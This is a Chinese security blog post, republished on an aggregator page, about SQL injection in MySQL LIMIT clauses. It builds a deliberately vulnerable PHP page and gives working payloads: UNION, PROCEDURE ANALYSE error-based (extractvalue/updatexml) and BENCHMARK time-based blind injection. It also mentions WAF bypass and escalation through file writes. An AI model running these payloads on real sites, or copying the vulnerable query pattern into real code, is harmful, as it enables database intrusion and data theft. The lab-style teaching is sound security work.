mysql注入之limit 注入

Posted 闪光的自留地

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mysql注入之limit 注入相关的知识,希望对你有一定的参考价值。

mysql注入之limit 注入

复现环境:

使用到的系统 版本
centos 7.2.1511
宝塔面板 7.5.1
php 5.6
mysql 5.1.73
MYSQL 5.7.33

不存在order by

环境页面构建

首先构造一个存在漏洞的php页面,源码如下:

<?php 
$con=mysqli_connect("127.0.0.1","root","xxx","127_0_0_1");
if (mysqli_connect_errno())
{
echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from runoob_tbl limit $id,1");

if (!$result) {
printf("Error: %s ", mysqli_error($con));
exit();
}
$row=mysqli_fetch_array($result);
echo $row['runoob_id']." | ".$row['runoob_title']." | ".$row['runoob_author'];
echo "<br>";
?>

数据库环境如下:mysql注入之limit 注入

常规注入

利用union联合查询即可做到:

http://127.0.0.1:8081/sql-limit.php?id=2,0 union select 1,2,user(),4%23

实战环境下,后续考虑各种waf绕过即可,进一步利用即可考虑写文件提权操作

存在order by

环境页面构建

数据库结构一致,php代码变动了一些,变化如下:

<?php 
$con=mysqli_connect("127.0.0.1","root","3855218a7b4eea3c","127_0_0_1");
if (mysqli_connect_errno())
{
echo "数据库连接出错:".mysql_connect_error();
}
$id=$_GET["id"];
$result=mysqli_query($con,"select * from runoob_tbl order by runoob_id limit $id,1");

if (!$result) {
printf("Error: %s ", mysqli_error($con));
exit();
}
$row=mysqli_fetch_array($result);
echo $row['runoob_id']." | ".$row['runoob_title']." | ".$row['runoob_author'];
echo "<br>";
?>

注入思路

尝试同样的payload

http://127.0.0.1:8081/sql-limit.php
?id=2,0 union select 1,2,user(),4%23

# 报错
Error: Incorrect usage of UNION and ORDER BY

实战中根据报错可以判断limit前方存在order by,如果是开发的时候遇到这种报错,加上括号即可解决,但是我们构造payload最多只能构造一半的payload。

前提条件:

5.0.0< MySQL <5.6.6版本

参考文章:Mysql下Limit注入方法[1]

SELECT 
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]

值得注意的一点是:当时提到的5.x版本通用指的是15年,在5.6.6版本之后,mysql官方对analyse语句进行了改写。

procedure后面可以支持报错注入以及时间盲注

# extractvalue 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(extractvalue(rand(),concat(0x3a,user())),1);%23

# updatexml 报错注入
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse(updatexml(1,concat(0x3a,user()),1),1);%23

# 对于无法报错注入的,可以结合来进行时间盲注
http://127.0.0.1:8081/sql-limit.php
?id=2,0 procedure analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23

PS:时间盲注这里不支持sleep,可以使用BENCHMARK BENCHMARK主要用于测试多次进行某个操作所耗费的时间,这里用于做时间盲注的时间区别函数

切换成mysql 5.7.33版本之后无法执行,直接报错

References

[1] Mysql下Limit注入方法: https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html




OVER

请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!

b站号:

一只技术君

 欢迎来到

闪光聊安全

长按与我交流更多

点击下方“阅读原文”立刻前往我的博客


以上是关于mysql注入之limit 注入的主要内容,如果未能解决你的问题,请参考以下文章

Mysql注入点在limit关键字后面的利用方法

转载Mysql注入点在limit关键字后面的利用方法

小结--limit注入

注入学习 Mysql+php注入 基于bool和时间的盲注

9Python全站之路系列之MySQL SL注入

以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?